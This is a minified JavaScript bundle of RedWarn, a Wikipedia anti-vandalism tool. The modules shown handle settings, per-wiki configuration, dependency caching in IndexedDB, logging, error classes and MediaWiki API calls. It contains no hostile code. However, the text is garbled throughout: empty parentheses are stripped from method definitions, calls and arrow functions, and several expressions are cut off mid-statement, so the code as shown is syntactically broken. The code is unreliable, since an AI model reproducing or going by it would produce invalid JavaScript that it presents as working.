Array.from(w.allSettings(e).values).reduce(((e,i)=>t.includes(i.id)||i.value!==i.defaultValue?Object.assign(Object.assign({},e),{[i.id]:i.value}):e),{})}static toJavascriptFile(e,t){return e.replace(/--nowikiOpen/g,r.RW_NOWIKI_OPEN).replace(/--nowikiClose/g,r.RW_NOWIKI_CLOSE).replace(/--configuration/g,JSON.stringify(t))}}t.Configuration=w,w.Core=p.default,w.UI=g.default,w.Revert=f.default,w.Accessibility=h.default},2223:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RevertMethod=void 0,function(e){e[e.Unset=0]="Unset",e[e.Rollback=1]="Rollback",e[e.Undo=2]="Undo"}(t.RevertMethod||(t.RevertMethod={}))},7353:(e,t)=>{"use strict"; /*! * This file was modified from Baritone, to make it usable in TypeScript and the web environment. * It has been changed from the original, to fit the needs of RedWarn. * The original Java source is available at . */Object.defineProperty(t,"__esModule",{value:!0}),t.Setting=t.UIInputType=void 0,function(e){e[e.Switch=0]="Switch",e[e.Checkboxes=1]="Checkboxes",e[e.Radio=2]="Radio",e[e.Dropdown=3]="Dropdown",e[e.Textbox=4]="Textbox",e[e.Number=5]="Number",e[e.ColorPicker=6]="ColorPicker",e[e.Style=7]="Style",e[e.RevertOptions=8]="RevertOptions",e[e.PageIcons=9]="PageIcons"}(t.UIInputType||(t.UIInputType={}));class i{constructor(e,t,i){this._id=e,this.defaultValue=this.value=t,this.displayInfo=i}reset{this.value=this.defaultValue}get id{return this._id}toString{return JSON.stringify(this.toPrimitive)}toPrimitive{return{id:this.id,value:this.value}}static fromString(e){const t=JSON.parse(e);return i.fromPrimitive(t)}static fromPrimitive(e){return new i(e.id,e.value,null)}}t.Setting=i},8060:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(7912),a=i(2223),o=i(6535),s=n.__importDefault(i(5310)),l={0:e=>{for(const[t,i]of Object.entries(e))switch(t){case"rwRollbackDoneOption":switch(i){case"RWRBDONEmrevPg":e.revertDoneOption=o.RevertDoneOption.LatestRevision;break;case"RWRBDONEnewUsrMsg":e.revertDoneOption=o.RevertDoneOption.NewMessage;break;case"RWRBDONEwelcomeUsr":e.revertDoneOption=o.RevertDoneOption.QuickTemplate;break;case"RWRBDONEwarnUsr":e.revertDoneOption="warnUser";break;case"RWRBDONEreportUsr":e.revertDoneOption="reportUser";break;default:s.default.error("Unknown rwRollbackDoneOption:",i)}delete e.rwRollbackDoneOption;break;case"rollbackMethod":switch(e.rollbackMethod){case"rollbackLike":e.rollbackMethod=a.RevertMethod.Undo;break;case"rollback":e.rollbackMethod=a.RevertMethod.Rollback;break;default:e.rollbackMethod=a.RevertMethod.Unset}break;case"lastVersion":e.latestVersion="0.1."+e.latestVersion,delete e.lastVersion}return e.configVersion=1,e}};t.default=function(e){var t,i;let n=JSON.parse(JSON.stringify(e));for(n.configVersion{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(7353),a=n.__importDefault(i(8001)),o={raiseActionButtons:new r.Setting("raiseActionButtons",!1,{uiInputType:r.UIInputType.Switch,title:a.default.t("prefs:accessibility.raiseActionButtons.title"),description:a.default.t("prefs:accessibility.raiseActionButtons.description")}),highContrast:new r.Setting("highContrast",!1,{uiInputType:r.UIInputType.Switch,title:a.default.t("prefs:accessibility.highContrast.title"),description:a.default.t("prefs:accessibility.highContrast.description")})};t.default=o},3684:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(7912),r=i(7353),a={latestVersion:new r.Setting("latestVersion",n.RW_VERSION,null),configVersion:new r.Setting("configVersion",n.RW_CONFIG_VERSION,null),neopolitan:new r.Setting("neopolitan",null)};t.default=a},8021:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(7353),a=n.__importDefault(i(8001)),o=i(6535),s=i(2223),l={revertOptions:new r.Setting("revertOptions",null,{title:a.default.t("prefs:revert.revertOption.title"),description:a.default.t("prefs:revert.revertOption.description"),uiInputType:r.UIInputType.RevertOptions}),revertDoneOption:new r.Setting("revertDoneOption",[],{title:a.default.t("prefs:revert.revertDoneOption.title"),description:a.default.t("prefs:revert.revertDoneOption.description"),uiInputType:r.UIInputType.Checkboxes,validOptions:[{name:a.default.t("prefs:revert.revertDoneOption.options.latest"),value:o.RevertDoneOption.LatestRevision},{name:a.default.t("prefs:revert.revertDoneOption.options.message"),value:o.RevertDoneOption.NewMessage},{name:a.default.t("prefs:revert.revertDoneOption.options.template"),value:o.RevertDoneOption.QuickTemplate},{name:a.default.t("prefs:revert.revertDoneOption.options.warn"),value:o.RevertDoneOption.WarnUser}]}),revertMethod:new r.Setting("revertMethod",s.RevertMethod.Undo,{title:a.default.t("prefs:revert.revertMethod.title"),description:a.default.t("prefs:revert.revertMethod.description"),uiInputType:r.UIInputType.Radio,validOptions:[{name:a.default.t("prefs:revert.revertMethod.options.rollback"),value:s.RevertMethod.Rollback},{name:a.default.t("prefs:revert.revertMethod.options.undo"),value:s.RevertMethod.Undo}]}),redirectIfNotLatest:new r.Setting("redirectIfNotLatest",!1,{title:a.default.t("prefs:revert.redirectIfNotLatest.title"),description:a.default.t("prefs:revert.redirectIfNotLatest.description"),uiInputType:r.UIInputType.Switch}),ignoreSameUserLatest:new r.Setting("ignoreSameUserLatest",!0,{title:a.default.t("prefs:revert.ignoreSameUserLatest.title"),description:a.default.t("prefs:revert.ignoreSameUserLatest.description"),uiInputType:r.UIInputType.Switch})};t.default=l},3825:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(4590),a=i(7353),o=n.__importDefault(i(8001)),s={noticeOrder:new a.Setting("noticeOrder","title",{uiInputType:a.UIInputType.Radio,title:o.default.t("prefs:ui.noticeOrder.title"),description:o.default.t("prefs:ui.noticeOrder.description"),validOptions:[{name:o.default.t("prefs:ui.noticeOrder.options.title"),value:"title"},{name:o.default.t("prefs:ui.noticeOrder.options.template"),value:"template"}]}),pageIcons:new a.Setting("pageIcons",null,{uiInputType:a.UIInputType.Style,title:o.default.t("prefs:ui.pageIcons.title"),description:o.default.t("prefs:ui.pageIcons.description")}),style:new a.Setting("style",r.DefaultRedWarnStyle,{uiInputType:a.UIInputType.Style,title:o.default.t("prefs:ui.style.title"),description:o.default.t("prefs:ui.style.description")}),campaigns:new a.Setting("campaigns",[])};t.default=s},7888:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(4802),a=i(7912),o=n.__importDefault(i(5310)),s=n.__importDefault(i(3962)),l=n.__importDefault(i(5695)),d=n.__importDefault(i(8001)),c=n.__importDefault(i(5958)),u=n.__importDefault(i(2458));class p{static get c{return p._loadedConfiguration}static preloadWikiConfiguration{return n.__awaiter(this,void 0,void 0,(function*{try{p.preloadedData=JSON.parse((yield r.Page.fromTitle(a.RW_WIKI_CONFIGURATION).getLatestRevision({forceRefresh:!1})).content)}catch(e){try{p.preloadedData=yield fetch(a.RW_FALLBACK_CONFIG).then((e=>e.json))}catch(e){throw e.message.includes("NetworkError")&&new c.default.Dialog({content:u.default(d.default.t("mediawiki:error.wikiConfigBlocked")),actions:[{data:`${d.default.t("ui:close")}`}]}),new AggregateError("Failed to get on-wiki configuration file.",e)}}return p.preloadedData}))}static loadWikiConfiguration{var e;return n.__awaiter(this,void 0,void 0,(function*{o.default.debug("Loading per-wiki configuration...");const t=null!==(e=p.preloadedData)&&void 0!==e?e:yield p.preloadWikiConfiguration;let i;i=t.configVersion<a.RW_WIKI_CONFIGURATION_VERSION?yield p.upgradeWikiConfiguration(t):t,i.wiki!=mw.config.get("wgDBname")?(o.default.warn(`External wiki configuration file loaded. Expecting "${i.wiki}", got "${mw.config.get("wgDBname")}" instead. Templates may be missing or broken.`),delete i.meta.tag):(t.configVersion,a.RW_WIKI_CONFIGURATION_VERSION),p._loadedConfiguration=p.deserializeWikiConfiguration(i),r.WarningManager.refresh,o.default.debug("Loaded per-wiki configuration.")}))}static upgradeWikiConfiguration(e){return n.__awaiter(this,void 0,void 0,(function*{return s.default(e)}))}static deserializeWikiConfiguration(e){const t=JSON.parse(JSON.stringify(e)),i=(n,r)=>{for(const[i,a]of Object.entries(r))null!=n[i]&&("function"==typeof a?n[i]=a(n[i],t,e):"function"==typeof a._self&&(n[i]=a._self(n[i],t,e)));for(const[e,t]of Object.entries(r))null!=n[e]&&"object"==typeof t&&(n[e]=i(n[e],t));return n};return i(e,l.default)}}t.default=p},5695:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(4802),r=i(2622),a={warnings:{categories:e=>{const t=[];for(const[i,n]of Object.entries(e))t.push(Object.assign({id:i},n));return t},warnings:(e,t,i)=>{const r={};for(const[t,a]of Object.entries(e))r[t]=n.deserializeWarning(a,i.warnings.categories);return r},vandalismWarning:(e,t,i)=>i.warnings.warnings[e]},revertOptions:e=>{const t={};for(const[i,n]of Object.entries(e))t[i]=r.deserializeRevertOption(i,n);return t}};t.default=a},3962:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(7912),r={};t.default=function(e){let t=e;for(t.configVersion{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(830),a=i(8910),o=n.__importDefault(i(3321)),s=n.__importDefault(i(5310));class l{static resolve(e){return n.__awaiter(this,void 0,void 0,(function*{const t=(yield Promise.all(e.map((e=>l.buildDependencyElements(e))))).reduce(((e,t)=>e.concat(...t)),[]);document.head.append(...t),yield Promise.all(t.map((e=>e.promise)))}))}static loadDependency(e){return n.__awaiter(this,void 0,void 0,(function*{const t=yield l.buildDependency(e);let i;return null==(i=document.getElementById(t.id))?document.head.append(t):i.parentElement.replaceChild(t,i),e.async?void 0:t.promise}))}static buildDependency(e){var t,i;return n.__awaiter(this,void 0,void 0,(function*{let n;const o=new Promise((e=>{n=e}));let s;return s="script"===e.type?Object.assign(r.h("script",{id:`rw_dep-${null!==(t=e.id)&&void 0!==t?t:a.generateId(8)}`,type:"application/javascript",onLoad:=>{n(!0)},src:yield l.getDependencyURI(e)}),{promise:o}):Object.assign(r.h("link",{id:`rw_dep-${null!==(i=e.id)&&void 0!==i?i:a.generateId(8)}`,rel:"stylesheet",type:"text/css",onLoad:=>{n(!0)},href:yield l.getDependencyURI(e)}),{promise:o}),s}))}static buildDependencyElements(e){return n.__awaiter(this,void 0,void 0,(function*{const t=[];for(const i of e)s.default.debug(`Loading ${i.type} dependency: ${i.src}`),t.push(l.buildDependency(i));return yield Promise.all(t)}))}static getDependencyElement(e){return document.getElementById(`rw_dep-${e}`)}static getDependencyURI(e){return n.__awaiter(this,void 0,void 0,(function*{const t=o.default.i.dependencyCache;if(e.cache){let i,r=yield t.get(e.id);const a==>n.__awaiter(this,void 0,void 0,(function*{var t,i;try{const{headers:n}=yield fetch(e.src,{method:"HEAD"});if(null!==(i=null!==(t=n.get("ETag"))&&void 0!==t?t:""!==r.etag)&&void 0!==i&&i)return!0;if(new Date(n.get("Last-Modified")).getTime>r.lastCache)return!0}catch(e){return!1}}));if(i=null==r||(Date.now-r.lastCache>e.cache.duration||!e.cache.expireOnly&&!e.cache.delayedReload&&(yield a)),i){s.default.trace(`Dependency needs caching: ${e.src}. Recaching immediately...`);try{r=yield l.recacheDependency(t,e)}catch(e){null==r&&s.default.warn("Failed to load caching dependency. Falling back to browser...",e)}}else!e.cache.expireOnly&&e.cache.delayedReload&&a.then((i=>n.__awaiter(this,void 0,void 0,(function*{i&&(yield l.recacheDependency(t,e),s.default.trace(`Finished HEAD checking for dependency: ${e.src}`))}))));return null!=r&&"style"===e.type&&(r.data=r.data.replace(/\/\*\s*#\s*sourceMappingURL=.+?\s*\*\//g,"")),r?URL.createObjectURL(new Blob([r.data],{type:"script"===e.type?"application/javascript":"text/css"})):e.src}return e.src}))}static recacheDependency(e,t){var i;return n.__awaiter(this,void 0,void 0,(function*{s.default.debug(`Recaching dependency: ${t.src}`);const n=yield fetch(t.src),r={id:t.id,lastCache:Date.now,etag:null!==(i=n.headers.get("ETag"))&&void 0!==i?i:"",data:(yield n.text).toString};return yield e.put(r),s.default.trace(`Redownloaded dependency: ${t.src}`),r}))}}t.default=l},7912:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RW_FALLBACK_CONFIG=t.RW_FALLBACK_WIKI=t.RW_WIKIS_SPEEDUP=t.RW_WIKIS_TAGGABLE=t.RW_LINK=t.RW_NOWIKI_CLOSE=t.RW_NOWIKI_OPEN=t.RW_WIKI_CONFIGURATION_VERSION=t.RW_WIKI_CONFIGURATION=t.RW_SIGNATURE=t.RW_LOG_SIGNATURE=t.RW_DATABASE_VERSION=t.RW_DATABASE_NAME=t.RW_CONFIG_VERSION=t.RW_VERSION_SUMMARY=t.RW_WORDRMARK=t.RW_LOGO=t.RW_VERSION_TAG=t.RW_VERSION_PUBLIC=t.RW_VERSION=t.RW_BUILDINFO=void 0;const n=i(655).__importDefault(i(776));t.RW_BUILDINFO=n.default,t.RW_VERSION="0.2.0",t.RW_VERSION_PUBLIC="17",t.RW_VERSION_TAG=`${t.RW_VERSION_PUBLIC}`,t.RW_LOGO="https://w.wiki/3wk4",t.RW_WORDRMARK="https://w.wiki/3wk6",t.RW_VERSION_SUMMARY="nothing yet",t.RW_CONFIG_VERSION=1,t.RW_DATABASE_NAME="redwarnLiteDB",t.RW_DATABASE_VERSION=1,t.RW_LOG_SIGNATURE=`RedWarn ${t.RW_VERSION_TAG}`,t.RW_SIGNATURE="~",t.RW_WIKI_CONFIGURATION="Project:RedWarn/configuration.json",t.RW_WIKI_CONFIGURATION_VERSION=1,t.RW_NOWIKI_OPEN=atob("PG5vd2lraT4="),t.RW_NOWIKI_CLOSE=atob("PC9ub3dpa2k+"),t.RW_LINK="RedWarn",t.RW_WIKIS_TAGGABLE=["enwiki"],t.RW_WIKIS_SPEEDUP=["enwiki"],t.RW_FALLBACK_WIKI={indexPath:"https://en.wikipedia.org/w/index.php",apiPath:"https://en.wikipedia.org/w/api.php",configuration:t.RW_WIKI_CONFIGURATION},t.RW_FALLBACK_CONFIG="https://redwarn-web.wmcloud.org/static/default-config.json"},5310:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.LogLevel=void 0;const n=i(7912);var r;!function(e){e[e.Trace=0]="Trace",e[e.Debug=1]="Debug",e[e.Info=2]="Info",e[e.Warn=3]="Warn",e[e.Error=4]="Error",e[e.Fatal=5]="Fatal"}(r=t.LogLevel||(t.LogLevel={}));class a{static log(e,t,...i){const o=Date.now-a.startTime,s=[];a.logLevel===r.Trace&&s.push(`[${o}ms] `),s.push(`[${n.RW_LOG_SIGNATURE}] `),s.push(`[${r[e].toUpperCase}] `),s.push(t),void 0===i[0]&&(i=[]),e>=a.logLevel&&console[e>r.Warn?"error":e==r.Warn?"warn":"log"](...i.length>0?[s.join(""),...i]:[s.join("")]),a.entries.push({tOffset:o,level:e,message:t,data:i.map((e=>e instanceof Error?{stack:e.stack,message:e.message,name:e.name}:e)),stack:e>r.Info?(new Error).stack:void 0})}static dump{return{startTime:a.startTime,entries:a.entries}}static trace(e,t){a.log(r.Trace,e,t)}static debug(e,t){a.log(r.Debug,e,t)}static info(e,t){a.log(r.Info,e,t)}static warn(e,t){a.log(r.Warn,e,t)}static error(e,t){a.log(r.Error,e,t)}static fatal(e,t){a.log(r.Fatal,e,t)}}t.default=a,a.startTime=Date.now,a.entries=[],a.logLevel=r.Warn},6724:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655).__importDefault(i(7541)),r=i(4802);class a{static registerDependency(e){a.dependencies.push(e)}static initializeStore{a.messageHandler=new n.default,a.wikiArticlePath=mw.config.get("wgArticlePath"),a.wikiBase=mw.config.get("wgServer"),a.wikiIndex=mw.config.get("wgServer")+mw.config.get("wgScript"),a.wikiAPI=`${mw.config.get("wgServer")+mw.config.get("wgScriptPath")}/api.php`,a.wikiID=mw.config.get("wgWikiID"),a.currentPage=r.Page.fromIDAndTitle(mw.config.get("wgArticleId"),mw.config.get("wgPageName")),window.RedWarnStore=a}static articlePath(e){return a.wikiArticlePath.replace(/\$1/g,mw.util.wikiUrlencode(e))}}t.default=a,a.startTime=new Date,a.dependencies=[{type:"style",id:"material-icons",src:"https://redwarn.toolforge.org/cdn/css/materialicons.css",cache:{delayedReload:!0,duration:12096e5}}],a.styleStorage=null,a.windowFocused=!1,window.addEventListener("blur",(=>{a.windowFocused=!1})),window.addEventListener("focus",(=>{a.windowFocused=!0}))},3597:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=n.__importDefault(i(5397)),a=n.__importDefault(i(6171)),o=n.__importDefault(i(5310));t.default=class{constructor(e,t,i){this._databaseName=e,this._version=t,this._upgradeProcedures=i,this.request=indexedDB.open(e,t),this.request.addEventListener("upgradeneeded",(e=>n.__awaiter(this,void 0,void 0,(function*{o.default.debug(`Upgrade needed. Going from version ${e.oldVersion} to ${e.newVersion}`);for(let t=e.oldVersion;t{this.request.addEventListener("success",e),this.request.addEventListener("error",t),setInterval((=>{"done"===this.request.readyState&&e(null)}),5)}))),this.database=this.request.result}))}transaction(e,t,i){return n.__awaiter(this,void 0,void 0,(function*{try{return(i||this.database).transaction(e,t)}catch(e){return o.default.error(e),new Promise(((e,t)=>n.__awaiter(this,void 0,void 0,(function*{return t("Error occured before transaction attempt, see log.")}))))}}))}runTransaction(e,t,i){return n.__awaiter(this,void 0,void 0,(function*{return new Promise(((a,o)=>n.__awaiter(this,void 0,void 0,(function*{const n=yield this.transaction(e,t);yield i(n),n.addEventListener("complete",(=>{a})),n.addEventListener("abort",(=>{o(new r.default("Transaction aborted",this.database,n))})),n.addEventListener("error",(=>{o(new r.default("Transaction erred",this.database,n))}))}))))}))}runRequest(e,t,i){return n.__awaiter(this,void 0,void 0,(function*{return new Promise(((a,s)=>n.__awaiter(this,void 0,void 0,(function*{const n=yield this.transaction(e,t),l=n.objectStore(e);try{const e=i(l);e.addEventListener("success",(=>{a(e.result)})),e.addEventListener("abort",(=>{s(new r.default("Transaction aborted",this.database,n,e))}))}catch(e){o.default.error(e),s(new r.default("A general error occured during IDB load",this.database,n,null))}}))))}))}store(e){return new a.default(this,e)}}},5397:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});class i extends Error{constructor(e,t,i,n){super(e),this.database=t,this.transaction=i,this.request=n}}t.default=i},6171:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655);t.default=class{constructor(e,t){this.database=e,this.storeName=t}runTransaction(e,t){return n.__awaiter(this,void 0,void 0,(function*{return this.database.runTransaction(this.storeName,e,t)}))}add(e,t){return n.__awaiter(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readwrite",(i=>i.add(e,t)))}))}clear{return n.__awaiter(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readwrite",(e=>e.clear))}))}count(e){return n.__awaiter(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readonly",(t=>t.count(e)))}))}delete(e){return n.__awaiter(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readwrite",(t=>t.delete(e)))}))}get(e){return n.__awaiter(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readonly",(t=>t.get(e)))}))}getKey(e){return n.__awaiter(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readonly",(t=>t.getKey(e)))}))}getAll(e,t){return n.__awaiter(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readonly",(i=>i.getAll(e,t)))}))}getAllKeys(e,t){return n.__awaiter(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readonly",(i=>i.getAllKeys(e,t)))}))}openCursor(e,t){return n.__awaiter(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readonly",(i=>i.openCursor(e,t)))}))}openKeyCursor(e,t){return n.__awaiter(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readonly",(i=>i.openKeyCursor(e,t)))}))}put(e,t){return n.__awaiter(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readwrite",(i=>i.put(e,t)))}))}}},3321:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=n.__importDefault(i(3597)),a=i(7912),o=n.__importDefault(i(5310)),s={0:e=>{const t=e.result;r.default.createObjectStore(t,"cacheTracker","id",["timestamp"]),r.default.createObjectStore(t,"dependencyCache","id",["lastCache","etag","data"]),r.default.createObjectStore(t,"groupCache","name",["page","displayName"]),r.default.createObjectStore(t,"watchedPages","title",[]),r.default.createObjectStore(t,"errorLog","id",["timestamp","code","data"])}};class l{constructor{if(null!=l.i)throw new Error("RedWarnLocalDB already exists! (as `RedWarnLocalDB.i`)");this.idb=new r.default(a.RW_DATABASE_NAME,a.RW_DATABASE_VERSION,s)}get open{return this._open}connect{return n.__awaiter(this,void 0,void 0,(function*{o.default.trace("Connecting to RedWarn IDB...");const e=yield this.idb.connect;return o.default.trace("Connected to IDB."),this._open=!0,e.addEventListener("close",(=>{this._open=!1})),this.cacheTracker=this.idb.store("cacheTracker"),this.dependencyCache=this.idb.store("dependencyCache"),this.groupCache=this.idb.store("groupCache"),this.watchedPages=this.idb.store("watchedPages"),this.errorLog=this.idb.store("errorLog"),e}))}}t.default=l,l.i=new l},2303:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.SpecializedMediaWikiErrors=t.GenericAPIError=t.RevisionNotLatestError=t.SectionIndexMissingError=t.RevisionMissingError=t.PageInvalidError=t.PageMissingError=void 0;const n=i(655).__importStar(i(8216));class r extends n.RWFormattedError{constructor{super(...arguments),this.code="RW4001"}}t.PageMissingError=r,r.message="The page could not be found.";class a extends n.RWFormattedError{constructor{super(...arguments),this.code="RW4002"}}t.PageInvalidError=a,a.message="The page  could not be found. Reason: ";class o extends n.RWFormattedError{constructor{super(...arguments),this.code="RW4003"}}t.RevisionMissingError=o,o.message="There is no revision with ID .";class s extends n.RWFormattedError{constructor{super(...arguments),this.code="RW4002"}}t.SectionIndexMissingError=s,s.message="Revision with ID does not contain a section with index .";class l extends n.RWFormattedError{constructor{super(...arguments),this.code="RW4005"}}t.RevisionNotLatestError=l,l.message="Target revision  is not the latest revision.";class d extends n.default{constructor(e){super,this.error=e,this.code="RW4000"}get message{var e,t,i;return"string"==typeof this.error?this.error:null!==(i=null!==(t=null!==(e=this.error.text)&&void 0!==e?e:this.error.info)&&void 0!==t?t:this.error.html)&&void 0!==i?i:"Unknown MediaWiki API error."}}t.GenericAPIError=d,t.SpecializedMediaWikiErrors={missingtitle:r,nosuchrevid:o}},8216:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RWAggregateError=t.RWFormattedError=void 0;const n=i(655),r=n.__importDefault(i(8001));class a{constructor{this.code="RW0000"}get message{return Object.getPrototypeOf(this).constructor.message}}t.default=a,a.message="";class o extends a{constructor(e){super,this.params=e}get message{const e=Object.getPrototypeOf(this).constructor.message;return o.i18next.services.interpolator.interpolate(e,this.params,"qqq",{})}static init{return n.__awaiter(this,void 0,void 0,(function*{if(null!=o.i18next)throw"Already initialized!";o.i18next=r.default.createInstance,yield o.i18next.init}))}}t.RWFormattedError=o;t.RWAggregateError=class extends a{constructor(e){super,this.errors=e,this.code="RW9000"}get message{const e=this.errors.length;let t=`${e} error${1===e?"s":""}${e>0?": ":""}`;return this.errors.forEach(((e,i)=>{if(0===i)return t+=e.message;t+=", "+e.message})),t}}},6878:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.StyleLoadError=t.StyleMissingError=void 0;const n=i(8216);class r extends n.RWFormattedError{}t.StyleMissingError=r,r.code="RW7000",r.message='The style "" could not be found.';class a extends n.RWFormattedError{}t.StyleLoadError=a,a.code="RW7000",a.message='An error ocurred while the style "" was loading.'},7541:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.default=class{constructor{this.handlers=new Map,window.addEventListener("message",(e=>{if(this.handlers.has(e.data))this.handlers.get(e.data)(e.data);else for(const t of this.handlers.keys)if("*"==t.substr(t.length-1)&&e.data.includes(t.substr(0,t.length-2)))return void this.handlers.get(t)(e.data)}))}addMessageHandler(e,t){this.handlers.set(e,t)}}},2217:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=n.__importDefault(i(3848)),a=n.__importDefault(i(5310));class o{static get hooks{var e;return null!==(e=window.RedWarnHooks)&&void 0!==e?e:window.RedWarnHooks={}}static assertHookType(e){void 0===o.hooks[e]&&(o.hooks[e]=[])}static addHook(e,t){a.default.trace(`Added hook: ${e}`,t),o.assertHookType(e),o.hooks[e].push(t)}static removeHook(e,t){a.default.trace(`Removed hook: ${e}`,t),o.assertHookType(e),o.hooks[e].filter((e=>e!==t))}static executeHooks(e,t={}){return n.__awaiter(this,void 0,void 0,(function*{if(a.default.debug(`Executing hook: ${e}`),o.assertHookType(e),r.default.activeStyle.hooks[e])for(const i of r.default.activeStyle.hooks[e]){const n=i(t);if(n instanceof Promise)try{yield n}catch(n){a.default.error(`Hook failed for style: ${e}`,{type:e,hook:i,paylod:t})}}for(const i of o.hooks[e]){const n=i(t);if(n instanceof Promise)try{yield n}catch(n){a.default.error(`Internal hook failed: ${e}`,{type:e,hook:i,paylod:t})}}document.dispatchEvent(new Event(`redwarn:${e}`,{payload:t}))}))}}t.default=o},4470:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655);class r{static init{r.onRTRC="Krinkle/RTRC"===mw.config.get("wgTitle")&&"view"===mw.config.get("wgAction")||"Blankpage"===mw.config.get("wgCanonicalSpecialPageName")&&"RTRC"===mw.config.get("wgTitle").split("/",2)[1],r.onRTRC&&mw.hook("wikipage.diff").add((e=>n.__awaiter(this,void 0,void 0,(function*{}))))}static nextDiff{r.onRTRC&&$('input[name="autoDiff"]')[0].checked&&$("#diffNext").trigger("click")}}t.default=r},6831:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=n.__importDefault(i(8001)),a=n.__importDefault(i(6071)),o=i(7912);class s{static assertLanguages{return n.__awaiter(this,void 0,void 0,(function*{null==window.RedWarnLanguages&&(window.RedWarnLanguages=[]),yield Promise.resolve.then((=>n.__importStar(i(506)))),s.cleanLanguages}))}static cleanLanguages{const e=[];for(const t of window.RedWarnLanguages)e.includes(t.id)||e.push(t.id)}static init{return n.__awaiter(this,void 0,void 0,(function*{yield s.assertLanguages,yield r.default.use(a.default).init({fallbackLng:s.fallbackLanguage,debug:!1,returnObjects:!0,interpolation:{escapeValue:!1}});for(const e of window.RedWarnLanguages){for(const t of Object.keys(e.namespaces))r.default.addResourceBundle(e.tag,t,e.namespaces[t],!0);r.default.addResource(e.tag,"common","redwarn.version",o.RW_VERSION_TAG)}}))}}t.default=s,s.fallbackLanguage="en-US"},7144:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MediaWikiAPI=void 0;const n=i(655),r=n.__importDefault(i(8001)),a=i(4802),o=n.__importDefault(i(3321)),s=n.__importDefault(i(5310)),l=i(2303),d=n.__importDefault(i(7888)),c=i(8216);class u{static get(e,t){return n.__awaiter(this,void 0,void 0,(function*{const i=Object.assign({format:"json",formatversion:2},e);for(const e of Object.keys(i))Array.isArray(i[e])&&(i[e]=i[e].join("|"));return u.api.get(i,t).catch(((e,t)=>{throw s.default.warn("Error occured while running MediaWiki API get call. Make sure this is handled!",e),t}))}))}static post(e,t){return n.__awaiter(this,void 0,void 0,(function*{const i=Object.assign({},e);for(const e of Object.keys(i))Array.isArray(i[e])&&(i[e]=i[e].join("|"));return u.api.post(i,t).catch(((e,t)=>{throw s.default.warn("Error occured while running MediaWiki API get call. Make sure this is handled!",e),t}))}))}static postWithEditToken(e,t){return n.__awaiter(this,void 0,void 0,(function*{return u.api.postWithEditToken(e,t).catch(((e,t)=>{throw s.default.warn("Error occured while running MediaWiki API get call. Make sure this is handled!",e),t}))}))}static getMessage(e,t){return n.__awaiter(this,void 0,void 0,(function*{try{return yield u.api.getMessages(e,t)}catch(e){throw s.default.warn("Error occured while running MediaWiki API getMessage call. Make sure this is handled!",e),e}}))}static init{return n.__awaiter(this,void 0,void 0,(function*{u.api=new mw.Api({parameters:{format:"json",formatversion:2,errorformat:"plaintext"},ajax:{headers:{"Api-User-Agent":r.default.t("common:redwarn.userAgent")}}}),yield Promise.all([a.ClientUser.i.redwarnConfigPage.getLatestRevision({forceRefresh:!1}),d.default.preloadWikiConfiguration]),yield Promise.all([a.ClientUser.i.init,d.default.loadWikiConfiguration,u.loadGroupNames])}))}static loadGroupNames{return n.__awaiter(this,void 0,void 0,(function*{const e==>n.__awaiter(this,void 0,void 0,(function*{const e=yield u.get({action:"query",format:"json",meta:"allmessages",amenableparser:1,amincludelocal:1,amfilter:"-member",amprefix:"group-"}),t=yield u.get({action:"query",format:"json",meta:"allmessages",amenableparser:1,amincludelocal:1,amprefix:"grouppage-"}),i=new Map;for(const t of e.query.allmessages){const e=/^group-(.+)-member$/g.exec(t.name);if(null==e)continue;const n=e[1];i.has(n)?i.get(n).displayName=t.content:i.set(n,{name:n,displayName:t.content})}for(const e of t.query.allmessages){const t=/^grouppage-(.+)$/g.exec(e.name);if(null==t)continue;const n=t[1];i.has(n)?i.get(n).page=e.content.replace(/   /gi,"Project:"):i.set(n,{name:n,page:e.content.replace(/    /gi,"Project:")})}try{yield o.default.i.groupCache.runTransaction("readwrite",(e=>{s.default.trace("Saving groups to internal cache...");const t=e.objectStore("groupCache");for(const e of 